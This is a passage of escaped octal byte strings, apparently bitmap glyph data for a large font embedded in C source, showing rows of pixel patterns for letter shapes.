\"\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\307\\307\\307\\303\\301\\301\\300\\300\\300\\300\\300\\300\\301\\303\\303\\307\\307\\303\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\301\\301\\301\\300\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\301\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\301\\303\\303\\307\\307\\307\\303\\300\\300\\300\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\303\\307\\307\\303\\303\\303\\301\\301\\301\\300\\300\\300\\300\\300\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\303\\307\\307\\303\\303\\301\\300\\300\\300\\300\\300\\300\\300\\301\\303\\303\\307\\307\\303\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\301\\301\\301\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\301\\300\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\17\\37\\77\\177\\376\\376\\374\\360\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\177\\377\\377\"\n  \"\\377\\376\\340\\0\\36\\36\\36\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\377\\377\"\n  \"\\377\\177\\17\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\300\\300\\300\\300\\300\\340\\340\\360\\370\\374\\377\\177\\77\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\301\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\301\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\3\\17\\37\\177\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\374\\370\\340\\200\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\201\\201\\301\\303\\303\\303\\307\\307\\317\\217\\202\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\340\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\207\\217\\307\\307\\307\\303\\303\\303\\301\\201\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\340\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\7\\203\\203\\201\\300\\300\\300\\300\\300\\300\\301\\203\\203\\207\\17\\7\\2\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\340\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\301\\303\\203\\203\\203\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\340\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\201\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\201\\201\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\340\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\77\\177\\376\\374\\370\\360\\340\\300\\300\\340\\360\\370\\374\\376\\177\\77\\37\\17\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\361\\373\\377\\177\\77\\77\\377\\377\\373\\361\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30<~\\177\\77\\17\\7\\3\\1\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177~<\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\200\\340\\370\"\n  \"\\370\\370p\\60\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\337\\377\\377\\376\\377\\377\\377\"\n  \"\\347\\201\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\\17\\3\\3\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\37\\7\\3\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\200\\340\\370\\374\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\237\\377\\377\\377\\377\\377\\377\\347\\301\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\60<~\\177\\77\\17\\3\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\7\\7\\3\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\377\\377\\177\\77\"\n  \"\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\1\\7\\7\\7\\3\\3\\1\\1\\1\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\377\\377\\177\\77\"\n  \"\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300C\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\1\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  